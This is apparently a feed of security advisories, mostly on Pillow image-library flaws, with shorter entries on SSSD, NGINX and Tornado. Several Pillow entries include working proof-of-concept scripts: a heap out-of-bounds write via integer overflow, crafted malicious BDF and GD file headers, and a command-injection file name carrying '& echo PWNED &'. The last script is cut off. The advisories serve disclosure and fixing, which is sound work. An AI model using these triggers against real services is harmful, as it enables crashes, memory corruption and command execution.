The loop behavior can be observed by tracing the parser state. The file pointer repeatedly seeks from position 112 back to 94, causing the same %%BeginBinary:-18 line to be parsed again and again:

LINE b'%%BeginBinary:-18' posafternewline 112 BeginBinary bytecount -18 seek from 112 to 94 LINE b'%%BeginBinary:-18' posafternewline 112 BeginBinary bytecount -18 seek from 112 to 94 LINE b'%%BeginBinary:-18' posafternewline 112 BeginBinary bytecount -18 seek from 112 to 94

Impact

This is a denial-of-service vulnerability. An attacker who can provide an EPS file to an application using Pillow for image validation, metadata parsing, previews, uploads, or batch image processing can cause the image parsing process to hang during Image.open().

This can impact web services and backend workers that parse untrusted image files, especially if image parsing is performed in a main worker process without CPU limits, timeouts, or process isolation. The issue does not require Ghostscript execution and does not require calling Image.load(), so applications that only use Image.open() to validate or identify uploaded images may still be affected.

Suggested fix: validate the parsed %%BeginBinary byte count before seeking. If the byte count is negative, reject the file with a parsing exception instead of calling self.fp.seek(bytecount, os.SEEKCUR).

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
Integer Overflow, Double Free
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

Pillow's public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits. In 4-byte pixel modes such as RGBA, this becomes a controlled backward heap underwrite: for a source image of width W, Pillow writes 4 W attacker-controlled bytes starting 4 W bytes before the destination row pointer. With successful large image allocation, the theoretical upper bound is ~2 GiB backwards from the destination row.

Minimal public API trigger:

python from PIL import Image

INTMIN = -(1 << 31)

src = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44)) dst = Image.new("RGBA", (8, 1)) dst.paste(src, ((1 << 31) - 2, 0, INTMIN, 1))

The same root cause is also reachable through Image.crop() and Image.alphacomposite(). No private API, ctypes, custom Python object, or malformed image file is needed.

This has been confirmed as an ASAN heap-buffer-overflow write. On normal non-ASAN Pillow builds, the minimal trigger corrupts the heap and aborts with double free or corruption (out)

Details

src/PIL/Image.py:paste() accepts a 4-tuple box and passes it to the native ImagingCore.paste() method:

python self.im.paste(source, box)

src/imaging.c:paste() parses the four Python coordinates into signed int values and calls ImagingPaste():

c int x0, y0, x1, y1; PyArgParseTuple(args, "O(iiii)|O!", &source, &x0, &y0, &x1, &y1, ...); status = ImagingPaste(self->image, PyImagingAsImaging(source), ..., x0, y0, x1, y1);

src/libImaging/Paste.c:ImagingPaste() computes and clips the region using signed int arithmetic:

c xsize = dx1 - dx0; ysize = dy1 - dy0;

if (dx0 + xsize > imOut->xsize) { xsize = imOut->xsize - dx0; }

With dx0 = 2147483646 and dx1 = -2147483648, dx1 - dx0 wraps to 2. That matches the 2-pixel source image, so the size check passes. The later dx0 + xsize clip check wraps around and does not reject the out-of-bounds destination.

For 4-byte pixel modes such as RGBA, the paste loop then multiplies dx by pixelsize:

c dx = pixelsize; xsize = pixelsize; memcpy(imOut->image[y + dy] + dx, imIn->image[y + sy] + sx, xsize);

For the minimal PoC, this writes 8 attacker-controlled bytes 8 bytes before the destination row allocation.

The primitive scales with the attacker-controlled source width:

text source width = W box = ((1 << 31) - W, 0, INTMIN, 1)

C destination offset = -4 W C memcpy size = 4 W write range = [rowstart - 4W, rowstart)

Examples for RGBA:

text W = 2 -> writes 8 bytes before the row W = 1024 -> writes 4096 bytes before the row W = 65536 -> writes 256 KiB before the row W = 1000000 -> writes about 4 MiB before the row

Pillow's image creation guard currently limits xsize to roughly INTMAX / 4 - 1, so the theoretical upper bound for this RGBA underwrite is 2,147,483,640 bytes before the destination row pointer. In practice, the usable range depends on memory availability, allocator layout, and process heap state.

Two other documented APIs reach the same sink:

python Image.crop() path left = INTMIN + 2 Image.new("RGBA", (2, 1)).crop((left, 0, left + 2, 1))

Image.alphacomposite() path, via its internal crop() base = Image.new("RGBA", (2, 1)) over = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44)) base.alphacomposite(over, dest=(left, 0))

Image.crop() keeps right - left small, so the Python decompression-bomb check allows it. src/libImaging/Crop.c then computes wrapped paste coordinates and calls ImagingPaste().

PoC

The following standalone script exercises all three public API paths. Save it as b021poc.py and run it with paste, crop, or alpha.

python #!/usr/bin/env python3 import argparse import sys

from PIL import Image

INTMIN = -(1 << 31)

def rgbapattern(width): out = bytearray() for i in range(width): out += bytes((0x41 + (i % 26), 0x42, 0x43, 0x44)) return bytes(out)

def main(): parser = argparse.ArgumentParser() parser.addargument( "variant", choices=("paste", "crop", "alpha"), nargs="?", default="paste", ) parser.addargument("-w", "--width", type=int, default=2) args = parser.parseargs()

width = args.width src = Image.frombytes("RGBA", (width, 1), rgbapattern(width))

if args.variant == "paste": box = ((1 << 31) - width, 0, INTMIN, 1) dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0)) print(f"variant=paste box={box}") print(f"expected C dst offset={-4 width}, writesize={4 width}") sys.stdout.flush() dst.paste(src, box) print("paste returned; first row:", dst.tobytes().hex())

elif args.variant == "crop": left = INTMIN + width box = (left, 0, left + width, 1) print(f"variant=crop box={box}") sys.stdout.flush() out = src.crop(box) print("crop returned; output:", out.tobytes().hex())

else: dest = (INTMIN + width, 0) dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0)) print(f"variant=alpha dest={dest}") sys.stdout.flush() dst.alphacomposite(src, dest=dest) print("alphacomposite returned; first row:", dst.tobytes().hex())

sys.stdout.flush()

if name == "main": main()

Run against an ASAN build:

bash env ASANOPTIONS=detectleaks=0 ASANSYMBOLIZERPATH=/usr/bin/llvm-symbolizer \ python b021poc.py paste

env ASANOPTIONS=detectleaks=0 ASANSYMBOLIZERPATH=/usr/bin/llvm-symbolizer \ python b021poc.py crop

env ASANOPTIONS=detectleaks=0 ASANSYMBOLIZERPATH=/usr/bin/llvm-symbolizer \ python b021poc.py alpha

Observed ASAN signature for the direct Image.paste() path:

text ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 8 paste /out/src/src/libImaging/Paste.c:59 ImagingPaste /out/src/src/libImaging/Paste.c:323 paste /out/src/src/imaging.c:1461 0x... is located 8 bytes before 32-byte region

On non-ASAN Pillow 12.2.0 and local 12.3.0.dev0, the direct minimal Image.paste() trigger returns from paste() and then the process aborts during cleanup with:

text double free or corruption (out) Aborted (core dumped)

Observed ASAN signature for the Image.crop() and Image.alphacomposite() paths:

text ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 8 paste /out/src/src/libImaging/Paste.c:59 ImagingPaste /out/src/src/libImaging/Paste.c:323 ImagingCrop /out/src/src/libImaging/Crop.c:57 crop /out/src/src/imaging.c:1090 Suggested fix

Avoid signed overflow in paste/crop coordinate arithmetic. Use checked arithmetic or a wider type before calculating widths and clipped endpoints.

For example, reject boxes whose endpoint subtraction cannot be represented cleanly, and clip using non-overflowing comparisons:

c int64t xsize64 = (int64t)dx1 - dx0; int64t ysize64 = (int64t)dy1 - dy0;

if (xsize64 < 0 || ysize64 < 0 || xsize64 > INTMAX || ysize64 > INTMAX) { return ImagingErrorValueError("bad box"); }

ImagingCrop() should receive the same treatment for sx1 - sx0, dx0 = -sx0, and dx1 = imIn->xsize - sx0.

Impact

This is a heap out-of-bounds write in Pillow's native C extension, reachable through documented public image APIs.

Applications are impacted if an untrusted user can control image operation coordinates passed to Pillow, for example crop boxes, paste boxes, or overlay positions. The bytes written in the direct Image.paste() variant are copied from the source image, so attacker-controlled source pixels can influence the out-of-bounds write. For RGBA, the write is a backward heap underwrite whose offset and length are both 4 sourcewidth, bounded in practice by successful image allocation and heap layout.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary src/libImaging/Jpeg2KDecode.c:853 accumulates totalcomponentwidth across every tile in a JPEG2000 image instead of recomputing it per tile. That accumulated value is then used in the tilebytes calculation at src/libImaging/Jpeg2KDecode.c:868, which can make the decoder grow state->buffer via realloc at src/libImaging/Jpeg2KDecode.c:876 up to roughly one full image's decompressed size even when each tile is small. A crafted tiled JPEG2000 file can therefore force substantially higher transient memory usage and trigger out-of-memory failures during decoding. Based on current evidence, the supported impact is denial of service, not memory corruption.

Details - Location: src/libImaging/Jpeg2KDecode.c:853 - Root cause: totalcomponentwidth is initialized only once before the tile loop and keeps growing across tiles. It is then used to derive tilebytes, so later tiles are treated as if they had the combined component width of all earlier tiles. - Dangerous operation: tilebytes is promoted into tileinfo.datasize, then state->buffer is grown with realloc at src/libImaging/Jpeg2KDecode.c:876. - Reachability: any attacker-controlled JPEG2000 image with many tiles reaches this path during normal Image.open(...).load() decoding.

PoC The attached helper script and testcase were used: exercisej2ktilerealloc.zip

Generate the testcase:

bash pythonexercisej2ktilerealloc.py make poc3664rgbatile1832.jp2 \ --size 3664 --tile 1832

Expected geometry from the helper:

- image size: 3664 x 3664 - mode: RGBA - tile size: 1832 x 1832 (2x2 tiles) - imagebytes=53699584 - uncapped RSS observed: - vulnerable build: maxrsskb=180264 - fixed comparison build: maxrsskb=138404

Load it with the current vulnerable build:

bash python exercisej2ktilerealloc.py load poc3664rgbatile1832.jp2

Load it again under a 160 MB address-space cap:

bash python exercisej2ktilerealloc.py load poc3664rgbatile1832.jp2 --limit-mb 160

Impact Conservative impact: denial of service through memory exhaustion during JPEG2000 decoding.

1 / 2
Source: GitHub
First published (updated )
Severity
4.5
OS Command Injection, Command Injection
AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L

1. Summary

WindowsViewer.getcommand() constructs a cmd.exe shell command by directly embedding a file path into an f-string without escaping. The result is passed to subprocess.Popen(..., shell=True). Shell metacharacters in the file path — most importantly a double-quote (") that breaks out of the wrapping, followed by & — allow injection of arbitrary cmd.exe commands.

The macOS equivalent (MacViewer) correctly applies shlex.quote() to the same parameter. The Linux equivalent (UnixViewer) does likewise. Windows is the only platform missing this protection, despite shlex.quote being already imported on line 21 of ImageShow.py.

---

2. Vulnerable Code

File: src/PIL/ImageShow.py, lines 133–150

python class WindowsViewer(Viewer): format = "PNG" options = {"compresslevel": 1, "saveall": True}

def getcommand(self, file: str, options: Any) -> str: return ( f'start "Pillow" /WAIT "{file}" ' # ← f-string, no escaping "&& ping -n 4 127.0.0.1 >NUL " f'&& del /f "{file}"' # ← same path, unescaped again )

def showfile(self, path: str, options: Any) -> int: if not os.path.exists(path): raise FileNotFoundError subprocess.Popen( self.getcommand(path, options), shell=True, # ← shell=True creationflags=getattr(subprocess, "CREATENOWINDOW"), ) # nosec # ← Bandit warning suppressed manually return 1

Contrast with macOS — SAFE (line 164–168): python class MacViewer(Viewer): def getcommand(self, file: str, options: Any) -> str: command = "open -a Preview.app" command = f"({command} {quote(file)}; sleep 20; rm -f {quote(file)})&" return command # ← shlex.quote() applied

Cross-platform summary:

| Platform | Class | shlex.quote()? | shell=True? | Safe? | |----------|----------------|------------------|---------------|-------| | macOS | MacViewer | Yes (line 168) | No (list args) | ✅ Yes | | Linux | UnixViewer | Yes (line 207) | No (list args) | ✅ Yes | | Windows | WindowsViewer| No (line 134–137) | Yes (line 148) | ❌ No |

shlex.quote is imported on line 21. Its omission from the Windows path is a clear oversight, not a deliberate design choice.

--- 3. Proof of Concept

A full working PoC is at pocpillowinjection.py. Key parts:

Part A — Injection string construction (static, no execution): python from PIL.ImageShow import WindowsViewer

viewer = WindowsViewer() evilpath = r'C:\Temp\evil" & echo PWNED & echo "' cmd = viewer.getcommand(evilpath) print(cmd) Output: start "Pillow" /WAIT "C:\Temp\evil" & echo PWNED & echo "" && ping ... ┌─ start "Pillow" /WAIT "C:\Temp\evil" → fails (file not found) ├─ & echo PWNED → INJECTED COMMAND └─ & echo "" && ping ... → continues

Part B — Live execution via os.system() (verified on Windows 11, Pillow 12.1.1): python import os, tempfile from PIL.ImageShow import WindowsViewer

viewer = WindowsViewer() pocdir = tempfile.mkdtemp() marker = os.path.join(pocdir, "INJECTIONCONFIRMED.txt")

Craft injection: payload writes a marker file (harmless) payload = f'echo REALINJECTED > "{marker}"' evilpath = os.path.join(pocdir, f'poc" & {payload} & echo "')

Call the REAL Pillow getcommand(): realcmd = viewer.getcommand(evilpath)

Execute the same way the base Viewer.showfile() does (os.system): os.system(realcmd)

assert os.path.exists(marker) # PASSES — marker was created assert "REALINJECTED" in open(marker).read() # PASSES → CONFIRMED: arbitrary command injection via getcommand()

---

1 / 2
Source: GitHub
First published (updated )
Severity
8
Path Traversal
AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

A path traversal flaw was found in SSSD's AD GPO provider. The adgpoextractsmbcomponents() function does not sanitize .. sequences in the gPCFileSysPath LDAP attribute, allowing an attacker with AD GPO management access to write files outside the GPO cache directory as root. On default RHEL configurations with SELinux enforcing, this can be used to inject Kerberos configuration leading to authentication bypass.

1 / 2
Source: MITRE
First published (updated )
Severity
8.8
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

A flaw was found in SSSD's LDAP sudo provider. When the ldapsudosearchbase option is not explicitly configured, SSSD searches the entire LDAP directory tree for sudoRole objects. An authenticated attacker with write access to any subtree can inject a sudoRole object granting root-level sudo privileges on all SSSD-enrolled hosts.

1 / 2
Source: MITRE
First published (updated )
Severity
7.5
EPSS
0.30%
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.

First published (updated )
Severity
9.2
Buffer Overflow
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

NGINX ngxhttpproxyv2module and ngxhttpgrpcmodule vulnerability

1 / 3
Source: Microsoft
First published (updated )
Severity
7.7
Infoleak
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Summary

When SimpleAsyncHTTPClient follows a 3xx redirect, it shallow-copies the original HTTPRequest, rewrites the URL, decrements maxredirects, and removes only the Host header. It does not clear Authorization, authusername, authpassword, or authmode when the redirect target changes origin.

As a result, credentials intended for one origin can be forwarded to a different origin when followredirects=True, which is the default.

Beginning in Tornado 6.5.6, SimpleAsyncHTTPClient matches the default behavior of libcurl (and therefore CurlAsyncHTTPClient): When a redirect changes the scheme, host, or port of the url, the Authorization and Cookie headers will be removed when following the redirect.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Tornado is a Python web framework and asynchronous networking library. Prior to 6.5.6, Tornado gzip decompression routines processed limited-size chunks but did not enforce an overall limit on accumulated decompressed chunks, allowing a malicious server accessed by SimpleAsyncHTTPClient or an HTTPServer configured with decompressrequest=True to consume effectively unlimited memory. This issue is fixed in version 6.5.6.

1 / 2
Source: MITRE
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary PIL/BdfFontFile.py bdfchar() (lines 84–88) reads the BBX width height field from a BDF font file and passes the dimensions directly to Image.new() without calling Image.decompressionbombcheck(). This completely bypasses Pillow's documented decompression bomb protection.

Image.open() enforces MAXIMAGEPIXELS = 89,478,485 and raises DecompressionBombError for images exceeding 2 × MAX = 178,956,970 pixels. The BDF font loading path calls Image.new() directly, which only calls checksize() (validates >= 0) — no pixel count limit.

Vulnerable code (PIL/BdfFontFile.py lines 84–88): python width, height from attacker-controlled "BBX width height x y" line try: im = Image.frombytes("1", (width, height), bitmap, "hex", "1") except ValueError: # TRIGGERED when BITMAP section is empty (zero hex lines) im = Image.new("1", (width, height)) # ← NO decompressionbombcheck()! # ^ This image is stored in self.glyph[ch] — persists in memory

Attack trigger: A BDF glyph with BBX 20000 20000 and an empty BITMAP section causes Image.frombytes() to raise ValueError, then Image.new("1", (20000, 20000)) allocates 50 MB of C-heap silently. Image.open() would raise DecompressionBombError for the same dimensions.

Steps to reproduce

Minimal malicious BDF file (270 bytes): STARTFONT 2.1 SIZE 16 75 75 FONTBOUNDINGBOX 16 16 0 -4 STARTPROPERTIES 1 COMMENT placeholder ENDPROPERTIES CHARS 1 STARTCHAR A ENCODING 65 SWIDTH 500 0 DWIDTH 8 0 BBX 20000 20000 0 0 BITMAP ENDCHAR ENDFONT

Proof of Concept script: python #!/usr/bin/env python3 """PoC: BdfFontFile bomb bypass — 270-byte BDF → 50 MB allocation""" import io, warnings warnings.filterwarnings("ignore")

from PIL.BdfFontFile import BdfFontFile from PIL.Image import decompressionbombcheck, DecompressionBombWarning, DecompressionBombError

W, H = 20000, 20000 # 400M pixels → above DecompressionBombError threshold

Show what Image.open() would do warnings.filterwarnings("error", category=DecompressionBombWarning) try: decompressionbombcheck((W, H)) except (DecompressionBombWarning, DecompressionBombError) as e: print(f"[Image.open() path] BLOCKED by {type(e).name}") warnings.filterwarnings("ignore")

Malicious BDF: large BBX + empty BITMAP → ValueError → Image.new() without bomb check bdf = f"""STARTFONT 2.1 SIZE 16 75 75 FONTBOUNDINGBOX 16 16 0 -4 STARTPROPERTIES 1 COMMENT x ENDPROPERTIES CHARS 1 STARTCHAR A ENCODING 65 SWIDTH 500 0 DWIDTH 8 0 BBX {W} {H} 0 0 BITMAP ENDCHAR ENDFONT """.encode()

print(f"[] BDF file size : {len(bdf)} bytes") print(f"[] Glyph size : {W} x {H} = {WH:,} pixels") print(f"[] C-heap target : {WH//8//10242} MB (mode '1' = 1 bit/pixel)")

BdfFontFile(io.BytesIO(bdf)) # No exception — bomb check bypassed!

print(f"[!] CONFIRMED: BdfFontFile loaded silently — {WH//8//10242} MB allocated") print(f" Image.open() path would have raised DecompressionBombError")

Expected output: [Image.open() path] BLOCKED by DecompressionBombError [] BDF file size : 270 bytes [] Glyph size : 20000 x 20000 = 400,000,000 pixels [] C-heap target : 47 MB (mode '1' = 1 bit/pixel) [!] CONFIRMED: BdfFontFile loaded silently — 47 MB allocated Image.open() path would have raised DecompressionBombError

Amplified attack (multiple glyphs): A BDF file defining 256 glyphs each at BBX 8000 8000 causes 256 × 7.6 MB = ~1.95 GB total C-heap allocation — all silently, bypassing documented bomb protection.

Impact - Availability: HIGH — attacker-controlled memory allocation per glyph × up to 65,536 glyphs - Confidentiality: None - Integrity: None - Any service loading BDF fonts from untrusted sources (e.g., ImageFont.load("user.bdf"), BdfFontFile(fp)) is affected - Loaded glyph images persist in self.glyph[ch] for the lifetime of the font object — memory is NOT freed until the font is garbage collected

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Description

PIL/GdImageFile.py GdImageFile.open() reads image dimensions from the GD 2.x header and stores them in self.size without calling Image.decompressionbombcheck(). Because GdImageFile is not registered with Image.registeropen(), it never passes through the standard Image.open() code path that enforces Pillow's decompression bomb guard. The plugin exposes its own entry point — PIL.GdImageFile.open(fp) — which directly instantiates the class, fully bypassing the documented protection.

Vulnerable code (PIL/GdImageFile.py lines 50–61):

python def open(self) -> None: s = self.fp.read(1037) if i16(s) not in [65534, 65535]: raise SyntaxError("Not a valid GD 2.x .gd file") self.mode = "P" self.size = i16(s, 2), i16(s, 4) # ← unsigned 16-bit; max 65535 each # NO decompressionbombcheck() call here ← ... self.tile = [ImageFile.Tile("raw", (0, 0) + self.size, 1037, "L")]

When load() is subsequently called on the returned image object:

python load() → loadprepare() → Image.core.new("P", (65535, 65535)) ↑ C-level allocation of 4,294,836,225 bytes ≈ 4.3 GB — no Python bomb check precedes this

Dimension arithmetic:

| Field | Value | |---|---| | Maximum width from header | 65,535 (unsigned 16-bit) | | Maximum height from header | 65,535 (unsigned 16-bit) | | Maximum pixel count | 65,535 × 65,535 = 4,294,836,225 | | DecompressionBombError threshold | 178,956,970 (2 × MAXIMAGEPIXELS) | | Overshoot ratio | 24× above DecompressionBombError threshold | | Memory at max dimensions | ≈ 4.3 GB (palette-mode: 1 byte/pixel) | | Minimum attack file size | 1,037 bytes (header only — no pixel data needed) |

Comparison with safe sibling plugin (WalImageFile):

WalImageFile is in the same category — not registered with Image.open(), loaded via its own open() helper. It was previously patched with the correct fix:

python PIL/WalImageFile.py line 46 — CORRECT pattern (already patched) self.size = i32(header, 32), i32(header, 36) Image.decompressionbombcheck(self.size) # ← present

GdImageFile was never updated to match, leaving a gap in protection.

Steps to reproduce

Proof of Concept script:

python #!/usr/bin/env python3 """ PoC: GdImageFile decompression bomb bypass 1037-byte crafted .gd file → 4.3 GB C-heap allocation, NO bomb check """ import io, struct from PIL import GdImageFile, Image

Build minimal 1037-byte GD 2.x palette-mode header: sig(2) + width(2) + height(2) + truecolor(1) + tindex(4) + colorsused(2) + palette(1024) sig = struct.pack(">H", 0xFFFE) # 65534 = GD 2.x magic w = struct.pack(">H", 65535) # max width h = struct.pack(">H", 65535) # max height truecolor = b"\x00" # 0 = palette mode tindex = struct.pack(">I", 0xFFFFFFFF) # > 255 = no transparency colorsused = b"\x00\x00" palettedata = b"\x00" 1024 header = sig + w + h + truecolor + tindex + colorsused + palettedata assert len(header) == 1037

Confirm: standard Image.open() path BLOCKS this size try: Image.decompressionbombcheck((65535, 65535)) except Image.DecompressionBombError as e: print(f"[BLOCKED] Image.open() path: {e}")

Vulnerable path: GdImageFile.open() has NO bomb check img = GdImageFile.open(io.BytesIO(header)) print(f"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}") print(f" No decompressionbombcheck called — 4.3 GB allocation not blocked")

Trigger loadprepare() → Image.core.new("P", (65535, 65535)) try: img.load() except OSError: print(f"[INFO] load() OSError (no pixel data) — but C-heap allocation already attempted")

print(f"\n[MATH] {65535 65535:,} pixels = {6553565535 / (Image.MAXIMAGEPIXELS2):.1f}× error threshold") print(f"[MATH] Attack file: 1,037 bytes only")

Expected output: [BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack. [BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P No decompressionbombcheck called — 4.3 GB allocation not blocked [INFO] load() OSError (no pixel data) — but C-heap allocation already attempted

[MATH] 4,294,836,225 pixels = 24.0× error threshold [MATH] Attack file: 1,037 bytes only

Verified live on Pillow 12.2.0.

Two attack paths:

| Path | File size | Effect | |---|---|---| | Transient (header only) | 1,037 bytes | loadprepare() attempts 4.3 GB C allocation → OSError after spike | | Persistent (full pixel data) | ~4.3 GB | load() completes, 4.3 GB stays in memory for object lifetime |

For the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file.

Real-world scenario: python from PIL import GdImageFile

Application accepts user-uploaded .gd files img = GdImageFile.open(useruploadedfile) # succeeds — no bomb check img.load() # triggers 4.3 GB C-heap allocation

Impact

- Availability: HIGH — a single 1,037-byte malicious .gd file causes the host process to attempt a ~4.3 GB C-heap allocation. On systems with insufficient memory this crashes the process. Repeatable — attacker can loop requests to keep the server down. - Confidentiality: None - Integrity: None - Authentication required: No — any public endpoint accepting image uploads is affected - User interaction: None

Any service that calls PIL.GdImageFile.open(userfile) followed by .load() (or any lazy-load trigger) is vulnerable. Because the attack requires only a 1,037-byte file, network bandwidth is not a constraint.

Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-08.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Description

PIL/FontFile.py FontFile.compile() assembles per-glyph images into a single combined bitmap using Image.new("1", (xsize, ysize)) without calling Image.decompressionbombcheck(). This is the base-class method shared by both BdfFontFile and PcfFontFile, and it is triggered whenever a loaded font is converted to an ImageFont or saved.

Neither BdfFontFile.BdfFontFile(fp) nor PcfFontFile.PcfFontFile(fp) is registered with Image.registeropen(), so Pillow's standard decompression bomb guard never fires for font objects. The compile step is the final opportunity to check the combined allocation — and it has no check.

Vulnerable code (PIL/FontFile.py lines ~64–92):

python def compile(self) -> None: if self.bitmap: return

h = w = maxwidth = 0 lines = 1 for glyph in self.glyph: # up to 256 glyph slots if glyph: d, dst, src, im = glyph h = max(h, src[3] - src[1]) # max glyph height — attacker-controlled w = w + (src[2] - src[0]) if w > WIDTH: # WIDTH = 800 lines += 1 w = src[2] - src[0] maxwidth = max(maxwidth, w)

xsize = maxwidth # ≤ 800 (capped by WIDTH constant) ysize = lines h # ← lines(256) × h(65535) = 16,776,960

if xsize == 0 and ysize == 0: return

self.ysize = h # NO decompressionbombcheck() here ← self.bitmap = Image.new("1", (xsize, ysize)) # ← unchecked allocation

"Slow accumulation" attack — per-glyph dimensions stay BELOW warning threshold:

| Metric | Per-glyph (800 × 875) | Combined bitmap (256 glyphs) | |---|---|---| | Pixel count | 700,000 | 179,200,000 | | DecompressionBombWarning threshold (89.4M) | 0.008× — no warning | 2.0× — above warning | | DecompressionBombError threshold (178.9M) | 0.004× — no error | 1.001× — above error |

With PCF-maximum glyph height (65,535):

| Metric | Value | |---|---| | lines | 256 (one per glyph slot, width=800 forces a wrap every glyph) | | h (max glyph height) | 65,535 | | xsize | 800 | | ysize = lines × h | 256 × 65,535 = 16,776,960 | | Total pixels | 800 × 16,776,960 = 13,421,568,000 | | Ratio vs. DecompressionBombError threshold | 75× | | Memory (mode "1", 1 bit/pixel) | ~1.6 GB |

Steps to reproduce

Proof of Concept script:

python #!/usr/bin/env python3 """ PoC: FontFile.compile() bomb bypass 256 glyphs at 800x875 each (individually below warning threshold) → compile() creates 800x224000 = 179.2M px bitmap with NO bomb check """ from PIL import FontFile, Image

MAXGLYPHS = 256 GLYPHW = 800 GLYPHH = 875 # individual: 700K px — below 89.4M warning threshold

class MockFont(FontFile.FontFile): def init(self): super().init() # Each glyph is individually safe (700K px < 89.4M warning) im = Image.new("1", (GLYPHW, GLYPHH)) for i in range(MAXGLYPHS): self.glyph[i] = ( (GLYPHW, GLYPHH), (0, -GLYPHH, GLYPHW, 0), (0, 0, GLYPHW, GLYPHH), im, )

Confirm bomb check WOULD catch the combined size combinedsize = (GLYPHW, MAXGLYPHS GLYPHH) try: Image.decompressionbombcheck(combinedsize) print("[FAIL] bomb check did not raise — unexpected") except Image.DecompressionBombError as e: print(f"[OK] bomb check WOULD block {combinedsize}: {e}")

Vulnerable path: compile() has NO bomb check font = MockFont() font.compile() # → Image.new("1", (800, 224000)) — no error raised

px = font.bitmap.size[0] font.bitmap.size[1] threshold = Image.MAXIMAGEPIXELS 2 print(f"[BYPASS] compile() succeeded: bitmap={font.bitmap.size}") print(f" pixels={px:,} ({px/threshold:.3f}× DecompressionBombError threshold)") print(f" No DecompressionBombError raised at any point.")

Expected output: [OK] bomb check WOULD block (800, 224000): Image size (179200000 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack. [BYPASS] compile() succeeded: bitmap=(800, 224000) pixels=179,200,000 (1.001× DecompressionBombError threshold) No DecompressionBombError raised at any point.

Verified live on Pillow 12.2.0 — compile() succeeds with no exception.

Real-world trigger using BDF font file: python from PIL import BdfFontFile import io

Load a crafted BDF font with 256 glyphs each claiming height=65535 (each glyph individually: 800 × 65535 = 52.4M px — below 89.4M warning) compile() combined: 800 × 16,776,960 = 13.4B px — 75× error threshold font = BdfFontFile.BdfFontFile(open("crafted256glyph.bdf", "rb")) font.toimagefont() # → compile() → ~1.6 GB allocation, NO bomb check

Attack scenarios:

| Scenario | Effect | |---|---| | Web font preview (BdfFontFile(upload).toimagefont()) | DoS with crafted .bdf upload | | Server-side font renderer that loads PCF → toimagefont() | OOM crash | | Font pipeline: load → render text | One malicious font file kills the process |

Impact

- Availability: HIGH — compile() creates a combined bitmap whose pixel count scales as WIDTH × lines × maxglyphheight with no upper bound check. With max PCF glyph height (65,535) and 256 glyphs, the combined allocation is ~1.6 GB. With BDF (text-format, unbounded height), the allocation is limited only by system memory. - Confidentiality: None - Integrity: None

Affected call paths: - BdfFontFile.BdfFontFile(fp).toimagefont() → FontFile.compile() - BdfFontFile.BdfFontFile(fp).save(filename) → FontFile.compile() - PcfFontFile.PcfFontFile(fp).toimagefont() → FontFile.compile() - PcfFontFile.PcfFontFile(fp).save(filename) → FontFile.compile()

Neither BdfFontFile nor PcfFontFile is loaded via Image.open(), so the standard decompression bomb guard is entirely absent from the font loading code path. compile() is the only point where the combined allocation size is known, and it has no check.

Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-08.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Description PIL/PcfFontFile.py loadbitmaps() (line 227) reads glyph dimensions from the PCF METRICS section and passes them directly to Image.frombytes() without calling Image.decompressionbombcheck(). Dimensions originate from unsigned 16-bit values:

xsize = right - left (max: 65535 − 0 = 65535) ysize = ascent + descent (max: 65535 + 65535 = 131070)

Maximum exploitable pixel count: 65,535 × 131,070 = 8,589,734,450 pixels — 48× the DecompressionBombError threshold.

Vulnerable code (PIL/PcfFontFile.py line 224–227): python for i in range(nbitmaps): xsize, ysize = metrics[i][:2] # from PCF METRICS — attacker-controlled b, e = offsets[i : i + 2] bitmaps.append( Image.frombytes("1", (xsize, ysize), data[b:e], "raw", mode, pad(xsize)) # ↑ NO decompressionbombcheck()! )

Image.frombytes() calls Image.new() first (allocating the full C-heap buffer), then attempts to fill it. This creates two distinct attack paths:

- Persistent attack: Provide matching bitmap data → frombytes() succeeds → image stored in font.glyph[ch] permanently - Transient attack: Provide a 148-byte PCF file with large declared dimensions but no data → Image.new() allocates the full buffer → ValueError → buffer freed → but the spike occurs before Python can respond

Steps to reproduce

Proof of Concept script:

python #!/usr/bin/env python3 """PoC: PcfFontFile bomb bypass — 148-byte PCF → 23 MB allocation""" import io, struct, tracemalloc, warnings warnings.filterwarnings("ignore")

